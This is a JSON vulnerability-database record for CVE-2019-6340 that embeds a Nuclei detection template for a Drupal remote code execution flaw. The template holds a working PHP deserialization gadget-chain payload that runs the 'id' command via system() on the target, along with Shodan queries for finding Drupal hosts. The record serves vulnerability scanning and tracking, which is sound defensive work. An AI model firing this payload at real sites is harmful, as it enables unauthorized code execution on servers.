{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-6340/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-6340/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-6340/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-6340/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-6340/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-6340"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-6340"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2019/CVE-2019-6340.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2019-6340\n\ninfo:\n  name: Drupal - Remote Code Execution\n  author: madrobot\n  severity: high\n  description: Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected Drupal site.\n  remediation: |\n    Apply the official security patch provided by Drupal to fix the deserialization vulnerability.\n  reference:\n    - https://www.drupal.org/sa-core-2019-003\n    - https://www.synology.com/security/advisory/Synology_SA_19_09\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-6340\n    - https://www.exploit-db.com/exploits/46452/\n    - https://github.com/CVEDB/PoC-List\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.1\n    cve-id: CVE-2019-6340\n    cwe-id: CWE-502\n    epss-score: 0.92017\n    epss-percentile: 0.99817\n    cpe: cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: drupal\n    product: drupal\n    shodan-query:\n      - http.component:\"drupal\"\n      - cpe:\"cpe:2.3:a:drupal:drupal\"\n  tags: cve,cve2019,drupal,rce,kev,vkev,vuln\n\nhttp:\n  - method: POST\n    path:\n      - '{{BaseURL}}/node/1?_format=hal_json'\n\n    body: '{ \"link\": [ { \"value\": \"link\", \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:2:\\\"id\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\" } ], \"_links\": { \"type\": { \"href\": \"http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default\" } } }'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"uid=\"\n          - \"gid=\"\n          - \"groups=\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022008b4022c395d09110a65ec4373427c6c6b4de68f9d1d4421eaa2cd01f2fec3360221008e504b49c335536016d82b82e1f5c1dfc6e7489324f3ba4291bdf14c94cb2825:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2019-6340"
}